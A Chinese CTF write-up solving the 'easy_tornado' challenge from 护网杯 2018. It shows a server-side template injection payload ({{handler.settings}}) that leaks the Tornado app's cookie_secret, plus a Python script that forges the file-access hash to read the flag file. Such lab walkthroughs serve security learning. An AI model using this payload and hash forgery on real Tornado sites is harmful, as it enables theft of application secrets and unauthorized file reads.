[护网杯 2018]easy_tornado
进入靶场:
- 首页上三个链接,挨个去查看下。
- 链接格式都是:
/file?filename=/hints.txt&filehash=xxxxxxx
flag in /fllllllllllllag
:猜测flag在文件/fllllllllllllag
中- filename hash要用
md5(cookie_secret+md5(filename))
的格式加密 - 接下来的问题就是
filename
有了,剩下cookie_secret
,cookie_secret
是tornado框架里面的。
fuzz后面的参数:
发现存在msg
参数可以进行模板注入:
-
tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类
-
RequestHandler.settings
又指向self.application.settings
-
这样我们就可以构造一下payload:
?msg={{handler.settings}}
-
拿到
cookie_secret
就可以写个小脚本去算md5值了
import sys
import hashlib
cookie = "d9378b20-58de-430d-afce-313282095a39"
filename = "/fllllllllllllag"
md5 = hashlib.md5()
md5.update(filename.encode('utf-8'))
finename_md5 = md5.hexdigest()
flag = cookie + finename_md5
md5 = hashlib.md5()
md5.update(flag.encode('utf-8'))
flag_md5 = md5.hexdigest()
print(flag_md5)
Get Flag ! ! !